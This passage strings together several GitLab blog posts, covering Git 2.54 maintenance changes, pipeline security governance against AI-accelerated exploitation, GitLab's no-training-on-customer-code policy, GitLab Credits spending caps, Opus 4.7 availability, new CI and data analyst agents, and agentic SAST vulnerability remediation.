|     * Commits             |   33.11 MiB |
|     * Trees               |   40.58 MiB |
|     * Blobs               |  107.11 MiB |
|     * Tags                |  582.67 KiB |
|                           |             |
| * Largest objects         |             |
|   * Commits               |             |
|     * Maximum size    [1] |   17.23 KiB |
|     * Maximum parents [2] |      10     |
|   * Trees                 |             |
|     * Maximum size    [3] |   58.85 KiB |
|     * Maximum entries [4] |    1.18 k   |
|   * Blobs                 |             |
|     * Maximum size    [5] | 1019.51 KiB |
|   * Tags                  |             |

|     * Maximum size    [6] |    7.13 KiB |

[1] f6ecb603ff8af608a417d7724727d6bc3a9dbfdf
[2] 16d7601e176cd53f3c2f02367698d06b85e08879
[3] 203ee97047731b9fd3ad220faa607b6677861a0d
[4] 203ee97047731b9fd3ad220faa607b6677861a0d
[5] aa96f8bc361fd84a1459440f1e7de02ab0dc3543
[6] 07e38db6a5a03690034d27104401f6c8ea40f1fc

With this information we're now almost feature-complete as compared to git-sizer(1). We're not done yet, though — we plan to eventually add additional features such as:

• Severity levels as they exist in git-sizer(1)
• Graphs that show you the distribution of object sizes
• The ability to scan objects reachable via a subset of references

This project was led by Justin Tobler.

New infrastructure for repository maintenance

Whenever you write data into a Git repository you will typically end up adding more loose objects. Left unmanaged, this leads to a large number of separate files in your .git/objects/ directory, which slows down several operations that want to access many objects at once. Git thus regularly packs these objects into "packfiles" to ensure good performance.

This isn't the only data structure that may become inefficient over time: Updating references may create loose references, reflogs will need trimming, worktrees may become stale, and caches like commit-graphs need to be refreshed regularly.

All of these tasks have historically been managed by git-gc(1). However, this tool has a monolithic architecture, where it basically executes all of the tasks required in sequential order. This foundation is hard to extend and doesn't give the end user much flexibility in case they want to slightly modify how housekeeping is performed.

The Git project introduced the new git-maintenance(1) tool in Git 2.29. In contrast to git-gc(1), git-maintenance(1) is not monolithic but is instead structured around tasks. These tasks are freely configurable by the user so that the user can control which tasks are running, giving them much more fine-grained control over repository maintenance.

Eventually, Git has migrated to use git-maintenance(1) by default. But in the beginning, the only task that was default-enabled was the git-gc(1) task, which as you might have guessed, simply executes git gc. To manually run maintenance using this new command you can execute git maintenance run, but Git knows to execute this automatically after several other commands.

Over the last couple releases we have implemented all the individual tasks that are supported by git-gc(1) in git-maintenance(1) to ensure that we have feature parity between these two tools.

Furthermore, we have implemented a new task that uses Git's modern architecture for repacking objects with geometric compaction. Geometric compaction is a much better fit for large monorepos, and with our efforts to make them work well with partial clones that landed in Git 2.53 they are now a full replacement for our previous repacking strategy in Git.

In Git 2.54, we have now reached another significant milestone: Instead of using the git-gc(1)-based strategy by default, we are now using geometric repacking with fine-grained individual maintenance tasks! Besides being more efficient for large monorepos, it also ensures that we have an easier foundation to iterate on going forward.

The git-maintenance(1) infrastructure was originally implemented by Derrick Stolee and geometric maintenance was introduced by Taylor Blau. The effort to introduce the new fine-grained tasks and migrate to the new maintenance strategy was led by Patrick Steinhardt.

Read more

This article highlighted just a few of the contributions made by GitLab and the wider Git community for this latest release. You can learn about these from the official release announcement of the Git project. Also, check out our previous Git release blog posts to see other past highlights of contributions from GitLab team members.

The defender side of the equation hasn't kept pace. One third of exploited Common Vulnerabilities and Exposures (CVEs) in the first half of 2025 showed activity on or before disclosure day, before most teams even know there's something to patch. AI is compressing that window further, accelerating attackers and flooding teams with whitehat disclosures faster than they can triage. Defender tooling has improved, but most organizations can't operationalize it fast enough to close the gap between discovery and exploitation.

When the window between disclosure and exploitation is measured in hours, the security team can't be the last line of defense. Security has to run where code enters the system: in the pipeline, on every merge request, enforced by policy. The fixes that can be automated should be. The ones that can't need to reach the right human faster than they do today.

Known vulnerabilities are already outpacing remediation

The bottleneck isn't detection, it's acting at scale on what teams already know. Sixty percent of breaches in the 2025 Verizon DBIR involved exploiting known vulnerabilities where a patch was already available. Teams couldn’t close them in time.

The backlog was untenable before Mythos. Developers spend 11 hours per month remediating vulnerabilities post-release instead of shipping new work. Over half of organizations have at least one open internet-facing vulnerability, and the median time to close half of those is 361 days. Exploitation takes hours, while remediation takes months.

AI-assisted development is widening the gap, and stakeholders know it. By June 2025, AI-generated code was adding over 10,000 new security findings per month across Fortune 50 repositories, a 10x jump from six months earlier. Georgia Tech identified 34 CVEs attributable to AI-generated code in March 2026, up from 6 in January, and that count reflects only the ones where AI authorship is clear. AI coding assistants hallucinate package names, reach for outdated patterns, and copy insecure examples from training data. More code, more dependencies, and more vulnerabilities per line are generated faster than security teams can review them.

Defenders need to harness frontier AI models, too — not bolted onto the SDLC as external tooling, but running inside the same policies, approvals, and audit trail as the rest of the team.

Security at the speed of AI coding

When a critical CVE drops, how quickly can your team confirm which projects are affected? How many tools does an alert cross before a developer can submit a fix?

The teams that benefit most from AI already have policies, enforcement, and controls embedded in their development workflows. AI amplifies that foundation. It doesn't replace it.

Enforcement at the point of change. As exploitation windows compress, every line of code entering a repository needs to pass through a defined set of controls. Not a separate review, in a different tool, by a different team. Organizations need the ability to enforce security policies across every group and project, with the merge request as the enforcement point. Policies defined once, applied everywhere, with exceptions reviewed, approved, and logged.

Simple issues caught before the merge request, not during. Hardcoded secrets, known-vulnerable imports, and deprecated API calls can be flagged in the IDE before a developer pushes a commit. Catching them at authoring time means fewer findings blocking the MR, so review cycles go to the findings that require cross-component context: reachability, exploitability, and architectural risk.

Triage automated by default, not by exception. Embedding security into every merge request creates a volume problem. More scans, more findings, more noise reaching developers who aren’t trained to distinguish a reachable critical from a theoretical one. AI must handle false positive detection, reachability, exploitability context, and severity assessment before a developer sees the finding, so the findings they see actually warrant their time.

Remediation governed like any other change. AI-based remediation compresses the timeline for closing vulnerabilities, but every generated fix must move through the same governance as a human-authored change: policies enforce scans, the right reviewers approve, and evidence is recorded. GitLab’s automated remediation capability proposes each fix in a merge request with a confidence score. The MR records which policy applied, which scans ran, what they found, and who approved. Human code and AI-generated code move through the same process, with the same audit trail.

What a ready pipeline looks like

Here's how these pieces work together when a high-severity vulnerability is discovered and the clock is running.

A proof-of-concept exploit for a vulnerability in a popular open-source package appears on a security mailing list. There’s no CVE, no National Vulnerability Database (NVD) entry, and no scanner signature yet. The security team finds out the usual way: someone shares it in Slack.

A security engineer asks the security agent if the package is in use, which projects have affected versions, and whether any vulnerable call paths are reachable in production. The agent checks the dependency graph for every project, matches the affected versions and entry points from the disclosure, and returns a ranked list of exposed projects with details about reachability. There’s no need to search through repositories by hand or wait for a scanner update. The question, "Are we exposed?" is answered in minutes.

The engineer starts a remediation campaign for every exposed project. The remediation agent suggests fixes: version updates where a patched release is available, and targeted call-path patches where it is not. Scan execution policies are already in place for projects tagged SOC 2. The engineer hardens the rules to block merges on any merge request that introduces or keeps the affected dependency, and an approval policy now requires security sign-off on every fix. The agent's first proposed patch fails the pipeline when an integration test catches a regression. The agent revises the patch based on the test failure, and the second attempt passes. Developers review the changes, security signs off under the stricter policy, and merges proceed across the campaign.

At the next audit review, the security team presents a report showing how policies were enforced and risks were reduced during the campaign. It includes scan results, policies applied, approvers, and merge timestamps for every MR in every affected project. The evidence was automatically generated in flight, not assembled after the fact.

Close the gaps now

Mythos exists today, and comparable models will be in attacker hands within a year. Every month between now and then is a chance to strengthen your software supply chain.

Ask these questions about your pipeline:

• How do you enforce that security scans run on every merge request, not just the projects where teams configured them?
• If a compromised package entered your dependency tree today, would your pipeline catch it before build?
• When a scanner flags a critical finding, how many tool boundaries does it cross before a developer starts the fix?
• If an AI agent proposed a code fix for a vulnerability, what process would that fix go through before reaching production, and is that process auditable?
• When auditors ask for evidence that a specific policy was enforced on a specific change, how long does it take to produce?

If the answers expose gaps, address them now. Talk to a GitLab solutions architect about the role of security governance in your development lifecycle.

For organizations in regulated industries, including finance, healthcare, defense, and public sector, the policy shift raises questions that go beyond individual developer preferences. It forces a harder look at a question that engineering and security leaders should be asking every AI vendor in their stack: Do you train on our code?

GitLab's answer is no. GitLab does not train AI models on customer code at any tier, and AI vendors are contractually prohibited from using customer inputs or outputs for their own purposes. The GitLab AI Transparency Center makes that commitment auditable: a single location documenting which models power which features, how data is handled, subprocessor relationships, and data retention periods. The GitLab AI Transparency Center also lists the compliance status of each feature, including confirmation that GitLab's current AI features do not qualify as high-risk systems under the EU AI Act. It's a standard GitLab CEO Bill Staples has consistently reiterated and one reflected in GitLab's mission and Trust Center.

What the policy change actually means

GitHub's announcement also specifies that the data may be shared with GitHub affiliates, including Microsoft, for AI development purposes.

A policy change of this nature forces organizations to re-examine their AI governance posture, audit their Copilot license tiers, and confirm that the right controls are configured across their teams.

Why AI governance matters in regulated environments

Source code is often among an organization's most sensitive intellectual property. It may contain references to internal systems, reflect proprietary business logic, or touch data flows governed by strict retention and access policies. When that code passes through an AI assistant, questions about training data usage, model vendor relationships, and data residency become compliance concerns.

The exposure is particularly acute for financial services firms that have invested in proprietary algorithms, fraud detection logic, credit risk models, underwriting rules, trading strategies. When AI tooling processes that code and uses it to train models serving competitors, vendor data practices become an IP concern.

Financial institutions operating under the Federal Reserve's Supervisory Guidance on Model Risk Management (SR 11-7) and the Digital Operational Resilience Act (DORA) are required to maintain documented, auditable oversight of third-party technology providers, including understanding how those providers handle data. Third-party AI tools used in development workflows increasingly fall within the scope of model risk oversight, and material changes to vendor data practices require updated documentation.

In the public sector, the National Institute of Standards and Technology Special Publication 800-53 (NIST 800-53) and the Federal Information Security Modernization Act (FISMA) establish that sensitive or classified code must never leave a controlled boundary. For U.S. Department of Defense and intelligence community environments in particular, a vendor's default data posture is an operational concern. In healthcare, the Health Insurance Portability and Accountability Act (HIPAA) governs how patient-adjacent data is handled by third parties, and development environments that touch clinical systems increasingly fall within that scope.

Across all of these contexts, the common thread is the same: A vendor policy that changes data usage defaults, requires individual opt-out, and offers different protections depending on account tier introduces exactly the kind of uncontrolled variable that compliance teams cannot afford.

What regulated industries actually need from AI vendors

Regulated organizations have largely moved past debating whether to adopt AI in development workflows. The focus now is on doing so in a way they can defend to regulators, boards, and customers. That shift has surfaced a consistent set of requirements regardless of sector.

Contractual certainty. Regulated firms need to know, with specificity, what happens to their data. A clear, documented, unconditional commitment is what's required, not something that varies by plan or requires action before a deadline.

Auditability. Model risk management frameworks require organizations to understand and validate the AI systems they deploy, including the training data behind those models and the third parties involved in their development. Vendors who cannot answer these questions create documentation risk for the organizations relying on them.

Separation from vendor incentives. When an AI vendor trains models on customer usage data, code and workflows become inputs to a system that also serves competitors. For institutions with proprietary trading logic, underwriting models, or fraud detection systems, that's a genuine IP exposure.

GitLab's position on AI data governance

GitLab does not use customer code to train AI models. This commitment applies at every tier, and AI vendors are contractually prohibited from using inputs or outputs associated with GitLab customers for their own purposes.

This is a deliberate architectural and policy choice, not a feature of a particular pricing tier. As GitLab's post on enterprise independence notes, data governance has become "an increasingly critical factor in enterprise technology decisions, driven by a complex web of national and regional data protection laws and growing concern about control over sensitive intellectual property."

GitLab is also cloud-neutral and model-neutral while supporting self-hosted deployments, not commercially tied to any single cloud provider or large language model (LLM). That independence matters for regulated organizations evaluating vendor concentration risk. The AI Continuity Plan documents how vendor changes are managed, including material changes to how AI vendors treat customer data, a direct response to the governance requirements under frameworks like DORA.

The governance gap AI teams need to close

GitHub's policy update is a reminder that for organizations in regulated industries, understanding exactly how an AI tool handles data is a prerequisite for using it at all. That means asking vendors for clear, documented answers: Is our data used for model training? Who are your AI model subprocessors? What happens if a vendor changes its data practices? Can we deploy in a way that keeps all AI processing within our own infrastructure? What indemnification do you offer for AI-generated output?

Vendors who can answer those questions clearly, and document those answers in an auditable form, are vendors you can build on. Those who cannot will create compliance debt every time they ship a policy update. And when a vendor can change its data practices with 30 days notice, that's not a partnership built for regulated industries. That's a liability.

Learn more about GitLab's approach to AI governance at the GitLab AI Transparency Center.

One of the greatest barriers to broader AI adoption isn't skepticism about the technology. It's uncertainty about managing spend. Without budget caps, a busy month could produce unexpected expenses. Without per-user limits, a handful of power users could burn through the team's credits before the month is over. And without either, engineering leaders who want to expand their use of agentic AI for software development have to jump through more hoops for budget approval.

Since its general availability, GitLab Duo Agent Platform has provided usage governance and visibility. With GitLab 18.11, we're introducing usage controls for GitLab Credits: spending caps and budget guardrails that give your organization even more control and transparency over how credits are consumed.

Managing GitLab Credits

GitLab 18.11 adds three layers of control over GitLab Credits consumption: a subscription-level spending cap, per-user credit limits, and visibility into cap status and enforcement.

Subscription-level spending cap

Billing account managers can now set a hard monthly ceiling for on-demand GitLab Credits consumption for their entire subscription.

Here's how it works:

• Set a cap in the Customers Portal under your subscription's GitLab Credits settings.
• Enforce spend limits automatically. When on-demand usage reaches the cap, DAP access is paused for all users on that subscription until the next monthly period begins.
• Make adjustments as you go. Raise or disable the cap mid-month to restore access.

The cap resets each monthly period and your configured limit carries forward unless you change it. Because usage data is synchronized periodically rather than in real time, a small amount of additional usage may occur after the cap is reached before enforcement takes effect. See the GitLab Credits documentation for details.

User-level spending caps

Not every user consumes credits at the same rate, and that's expected. But when one or two power users account for a disproportionate share of the pool, the rest of the team can lose access before the month is over.

Per-user credit caps prevent any single user from consuming more than their fair share:

• Flat per-user cap. Set a uniform credit limit that applies equally to every user on the subscription through the GitLab GraphQL API. Unlike the subscription-level cap, the per-user cap applies to a user's total consumption across all credit sources.
• Custom per-user overrides. For organizations that need differentiated limits, you can set individual credit caps for specific users through the GraphQL API. For example, you could give your staff engineers a higher allocation while applying a standard limit to the broader team.
• Individual enforcement. When a user reaches their cap, they retain full access to GitLab. Only their Duo Agent Platform credit usage is paused until the next billing cycle. Everyone else keeps working uninterrupted until they hit their own limit or the subscription-level cap is reached, whichever comes first.

Visibility and notifications

When a subscription-level cap is reached, GitLab sends an email notification to billing account managers so they can take action: raise the cap, wait for the next period, or redistribute credits.

Within GitLab, group owners (GitLab.com) and instance administrators (Self-Managed) can view which users have been blocked due to reaching their per-user cap and restore access by adjusting the cap through the GraphQL API.

How budget guardrails help organizations scale AI usage

Guardrails are essential as organizations ramp up their AI adoption. Here's why:

Predictable AI budgets

Usage controls for GitLab Duo Agent Platform turn AI into a bounded, predictable budget item using on-demand GitLab Credits. That makes it easier to deploy agents across the software development lifecycle and get sign-off from finance, justify renewals, and plan quarterly spend.

Governance and chargeback

Large organizations often need to align AI consumption with internal budgets, cost centers, or departmental policies. Per-user caps give platform teams a straightforward mechanism to allocate credits fairly and track consumption at the individual level. The API import options make it practical to manage caps at enterprise scale. Combined with per-user usage data from the GitLab Credits dashboard, organizations can track consumption patterns to inform their own internal chargeback or budget allocation processes.

Confidence to scale

Many customers start GitLab Duo Agent Platform with a small pilot group. Usage controls remove risks associated with expanding that pilot across the organization. You can roll out Duo Agent Platform to hundreds or thousands of developers knowing there's a hard ceiling protecting your budget. If usage grows faster than expected, you'll hit the cap, not an unexpected invoice.

Addressing the seat-based and visibility conundrum

Many AI coding tools take a seat-based approach to cost management. You buy a fixed number of seats at a flat per-user price, and that's your budget. It's simple, but rigid. You pay the same whether a developer uses the tool ten times a day or never touches it. And as vendors introduce premium models and usage-based overages on top of seat pricing, the cost predictability that seat-based licensing promised starts to erode.

GitLab takes a different approach. Usage-based pricing with hard caps and a single governance dashboard. You get the flexibility of paying for what your teams actually use, with the budget predictability of enforced spending limits.

Real-world usage controls

One example is a mid-size SaaS customer that wants to protect their monthly budget. A 200-person engineering organization sets a subscription-level cap equal to their expected on-demand usage. Their VP of Engineering can confidently tell finance that GitLab Duo Agent Platform spend will never exceed the approved amount, even as they onboard new teams. If they approach the cap mid-month, the billing account manager gets a notification and can decide whether to raise the limit or wait for the next period.

At GitLab, we also work with large enterprises that want to keep usage fair across teams. A global financial services company with 2,000 developers uses per-user caps to ensure equitable access. Staff engineers working on complex refactoring projects get a higher individual allocation via API, while most developers receive a standard flat cap. No single user can exhaust the pool, and the platform team uses the per-user usage data in the GitLab Credits dashboard to track consumption patterns and inform quarterly budget planning.

Getting started

Usage controls are available for both GitLab.com and Self-Managed customers running GitLab 18.11. Different controls are configured in different places depending on the scope and your role.

Subscription-level cap

Billing account managers set the subscription-level on-demand cap in the Customers Portal:

1. Sign in to the Customers Portal.
2. On your subscription card, navigate to GitLab Credits settings.
3. Enable the monthly on-demand credits cap and enter your desired limit.

Flat per-user cap

The flat per-user cap can be set through the GitLab GraphQL API by namespace owners (GitLab.com) or instance administrators (Self-Managed). Check the GitLab Credits documentation for the latest on available configuration surfaces.

Custom per-user overrides

For differentiated limits, namespace owners (GitLab.com) and instance administrators (Self-Managed) can set individual caps programmatically. This is useful for automation and infrastructure-as-code workflows.

Monitor usage and cap status

• Customers Portal: View detailed usage and cap status.
• GitLab.com: Group owners can view blocked users under Settings > GitLab Credits.
• Self-Managed: Instance administrators can view cap status and blocked users under Admin > GitLab Credits.

GitLab Duo Agent Platform is ready to scale

Usage controls are available now in GitLab 18.11. If you've been waiting for the right guardrails before expanding GitLab Duo Agent Platform across your organization, this is your moment. Set your caps, roll out Duo Agent Platform to more teams, and start shipping faster!

Learn more about GitLab Credits and usage controls.

For teams running agents across the full software delivery lifecycle, Opus 4.7 brings meaningful improvements to the tasks that matter most: the complex, multistep work that requires sustained reasoning, precise instruction following, and the ability to verify its own outputs before surfacing results.

Stronger reasoning across every agent workflow

The most significant gain is in how Opus 4.7 handles difficult, long-running work. GitLab's internal evaluations showed improved performance over both Sonnet 4.6 and Opus 4.6. That combination translates directly to agents that work more efficiently across CI/CD pipelines, code review, vulnerability resolution, and other multi-tool workflows where compounding errors are costly.

Teams with established agent workflows should note that Opus 4.7 interprets instructions more precisely than prior models, which means it executes more faithfully on complex, conditional tasks. For example, agents handling multistep remediation sequences complete each step as specified, giving teams more predictable, auditable outcomes.

Agents keep work moving from code to production

The promise of agents embedded across every stage of the software development lifecycle is that work stops waiting on people to move it forward. Opus 4.7 helps make that promise more reliable in practice.

At the code generation and test creation stage, agents benefit from Opus 4.7's ability to verify its own outputs before surfacing results. Less back-and-forth, faster iteration, fewer interruptions that pull developers out of flow. In security and vulnerability workflows, stronger instruction adherence means agents stay on task through multistep remediation sequences, completing the work as scoped rather than requiring course corrections along the way.

In CI/CD, where pipeline failures can become team-wide blockers, Opus 4.7's long-horizon consistency matters most. Agents investigating failures, analyzing logs, and proposing fixes work through that sequence coherently, without losing context mid-run. The work gets resolved rather than escalated.

GitLab Duo Agent Platform connects these stages by design. Opus 4.7 strengthens the intelligence layer that runs across all of them, so agents coordinating across planning, development, security, and deployment have a more capable model driving decisions at every handoff.

Pricing and availability

Claude Opus 4.7 is available now in GitLab Duo Agent Platform via model selection. For a full list of models available for Duo Agent Platform along with their respective credit consumption, please visit our documentation.

You can start a free trial of GitLab Duo Agent Platform today. If you are already using GitLab in the free tier, you can sign up for Duo Agent Platform by following a few simple steps.

And if you are an existing subscriber to GitLab Premium or Ultimate, you can simply turn on Duo Agent Platform and start using the GitLab Credits that are included with your subscription.

This blog post contains forward-looking statements within the meaning of Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934. Although we believe that the expectations reflected in these statements are reasonable, they are subject to known and unknown risks, uncertainties, assumptions and other factors that may cause actual results or outcomes to differ materially. Further information on these risks and other factors is included under the caption "Risk Factors" in our filings with the SEC. We do not undertake any obligation to update or revise these statements after the date of this blog post, except as required by law.

In GitLab 18.11, two new foundational agents for Duo Agent Platform address specific gaps in the development lifecycle that AI has largely left untouched:

• CI Expert Agent (now in beta) focuses on the gap between writing code and getting it into a running pipeline
• Data Analyst Agent (now generally available) focuses on the gap between shipping code and being able to answer basic questions about how that delivery is actually going.

These are problem areas that couldn't be solved by a general-purpose assistant. A tool running outside GitLab can generate a YAML file or answer a question, but it has no awareness of how your pipelines have historically performed, where failures cluster, or what your actual MR cycle times look like. That context lives in GitLab. These agents do too.

Fast CI setup with CI Expert Agent

AI has made it easier than ever to write code. Getting that code into a running pipeline is still something most teams do days, or weeks, later — if at all. The blank-page problem isn't in the editor anymore. The blank page is now in .gitlab-ci.yml.

Developers who have never configured CI don't know what language detection looks like in YAML, what their test commands should be, or how to validate the result before pushing. Teams either copy a config from a previous project that may not fit, stitch together examples from documentation, or wait for the one person who's done it before. If that person isn't available, CI becomes the thing you'll "get to later." Later becomes never.

When CI never happens, the impact shows up everywhere else. Changes ship without a reliable safety net, regressions surface in production instead of in pipelines, and work piles up in bigger, riskier batches because no one wants to be the person who “breaks the build.” Over time, teams normalize working in the dark, often relying on undocumented institutional knowledge and ad-hoc testing, instead of having a fast, predictable feedback loop baked into every change.

CI Expert Agent, now available in beta, removes that friction. It inspects your repository, identifies your language and framework, and proposes a working build and test pipeline tailored to what's actually there — then explains every decision in plain language. The target: a running pipeline in minutes, with no YAML written by hand.

What CI Expert Agent does:

• Repo-aware pipeline generation detects language, framework, and test setup
• Generates valid, runnable build and test configurations
• Guided first-pipeline flow with plain-language explanation of each step in Agentic Chat
• Native GitLab CI semantics with no config translation required

Because it runs inside GitLab and sees real pipeline behavior over time, each improvement can build on how teams actually work, not just on static examples.

CI Expert Agent is available on GitLab.com, Self-Managed, Dedicated; Free, Premium, Ultimate Editions with Duo Agent Platform enabled.

Query GitLab data in plain language with Data Analyst Agent

AI has sped up how teams ship. Answering basic questions about how that work is going has gotten harder, not easier.

How long are MRs sitting in review? Which pipelines are slowing teams down? Are deployment targets actually being hit? These questions used to be answerable by glancing at a dashboard. Now, with more code, more teams, and more complexity, the data exists — it's in GitLab — but accessing it still means waiting on an analytics team, filing a dashboard request, or learning GLQL.

Data Analyst Agent targets that gap. Ask a natural-language question and get an instant visualization in Agentic Chat. No query language, no dashboard request, no waiting for the answers to be assembled by someone else.

For example, the agent can answer questions about the following topics for these roles:

• Engineering managers: MR cycle time, throughput by project, where reviews get stuck
• Developers: Contribution patterns, flaky tests blocking their MRs, pipeline speed trends
• DevOps and platform engineers: Pipeline success/failure rates, runner utilization, deployment frequency
• Engineering leadership: Cross-portfolio deployment frequency, project health metrics, lead time comparisons

Now generally available in 18.11, the agent covers MRs, issues, projects, pipelines, and jobs — full software development lifecycle coverage, expanded from the beta scope. Because Data Analyst Agent queries what's already in GitLab, the context is always current, and there's no pipeline to maintain or third-party tool to keep synchronized. Generated GitLab Query Language queries can be copied and used anywhere GitLab Flavored Markdown is supported, with direct export to work items and dashboards on the roadmap.

Data Analyst Agent is available on GitLab.com, Self-Managed, Dedicated; Free, Premium and Ultimate Edition with Duo Agent Platform enabled.

One platform, connected context

Both agents run inside GitLab, with access to the code, pipelines, issues, and merge requests already there. That's what separates platform-native AI from a disconnected assistant: the context is always current, and it only gets more useful over time. CI Expert Agent and Data Analyst Agent represent two concrete steps toward a platform where AI doesn't just help you write code faster; it helps you understand, ship, and maintain what gets built.

Start a free trial of GitLab Duo Agent Platform to experience these foundational AI agents.

Now generally available, Agentic SAST Vulnerability Resolution automatically generates ready-to-merge code fixes to remediate SAST vulnerabilities. With this capability:

• Developers stay in flow
• Vulnerabilities get resolved before they reach production
• AppSec teams spend less time on triage and chasing down developers to close the loop

Agentic SAST Vulnerability Resolution is the future of application security. GitLab 18.11 also delivers faster SAST scanning, smarter prioritization, and tighter governance across the platform.

Auto-remediation without breaking your flow

When AI is generating code at scale, the math changes. A security backlog that once grew linearly now compounds with every model-assisted commit. There is no version of this problem that gets solved by asking developers to context-switch more and continue manually remediating vulnerabilities. According to GitLab's 2025 DevSecOps Report, developers already spend 11 hours per month remediating vulnerabilities post-release — that is, fixing issues that are already exploitable in production instead of shipping new work.

Agentic SAST Vulnerability Resolution changes the economics of that cycle. When a SAST scan completes, findings automatically kick off the SAST false positive detection flow. Confirmed true positives go directly into the Agentic SAST Vulnerability Resolution Flow, where GitLab Duo Agent Platform:

• Analyzes the vulnerability in context
• Generates a fix that addresses the root cause
• Validates the fix through automated testing

The developer receives a ready-to-merge MR with a confidence score so they can make an informed decision on how to remediate the vulnerability. The sprint stays on track, developers stay in flow, and vulnerabilities get resolved before they ever reach production.

Accelerating software production also means not waiting on your scanner. GitLab 18.11 introduces incremental scanning for Advanced SAST, so developers get vulnerability results without waiting for a full scan to complete, and pipelines keep moving.

Remediate by business risk, not just by score

Autonomous remediation only works if the signal driving it is trustworthy. When severity scores don't reflect real exploitability, developers stop trusting the signal and start ignoring it.

GitLab 18.11 addresses this issue on four levels. First, vulnerability scores are now grounded in Common Vulnerability Scoring System (CVSS) 4.0, the most current industry standard, with more granular metrics that better capture real-world exploitability. The score developers see in GitLab reflects the most current industry standard for measuring real-world risk.

From there, AppSec teams can define policy-based rules that automatically adjust vulnerability severity scores based on signals like Common Vulnerabilities and Exposures (CVE), Common Weakness Enumeration (CWE), and file path/directory. Once a policy is set, the severity overrides apply immediately so developers work from a backlog that reflects actual business risk, not raw scanner output.

Risk-based enforcement doesn't stop at the backlog. AppSec teams can now configure approval policies to block or warn based on Known Exploited Vulnerabilities (KEV) status or Exploit Prediction Scoring System (EPSS) score thresholds. When a merge gets blocked, developers know it's because the vulnerability has real-world exploitability data behind it, not a score that didn't account for their environment.

Lastly, the new Top CWEs security dashboard chart gives teams visibility into which vulnerability classes are appearing most frequently across their projects. Instead of chasing individual findings, teams can identify patterns, prioritize at the root cause-level, and address systemic risk before it compounds.

Stronger security controls with less operational overhead

An autonomous remediation pipeline is only as good as the security scanner coverage underneath it. If the scanner enablement is inconsistent, the findings flowing into the pipeline are incomplete and so are the fixes.

GitLab 18.11 introduces Security Manager, a new default role built specifically for security professionals. With the Security Manager role, security teams can enforce security scanners, define and configure security policies, manage vulnerability triage and remediation workflows, and maintain compliance frameworks and audit streams, without needing code modification or deployment permissions. Security teams get the access necessary for their jobs, and no more, keeping permissions scoped to the work at hand and keeping code and deployment permissions with developers.

For AppSec teams, getting consistent SAST scanner coverage across multiple projects and groups just got significantly easier. SAST configuration profiles give security teams a single place to define scanning once and apply it across every project in a group in one action. Teams no longer have to write and maintain YAML policy files, depend on developers to configure scanners, or manually check each project to find coverage gaps.

Get started with agentic vulnerability remediation today

GitLab 18.11 delivers the full vulnerability workflow in one platform: AI that automatically remediates vulnerabilities, smarter prioritization that cuts through vulnerability noise, and governance controls that give security teams the right access and coverage at scale.

To see how GitLab Duo Agent Platform puts automated remediation directly in your developer workflow, start a free trial of GitLab Ultimate today.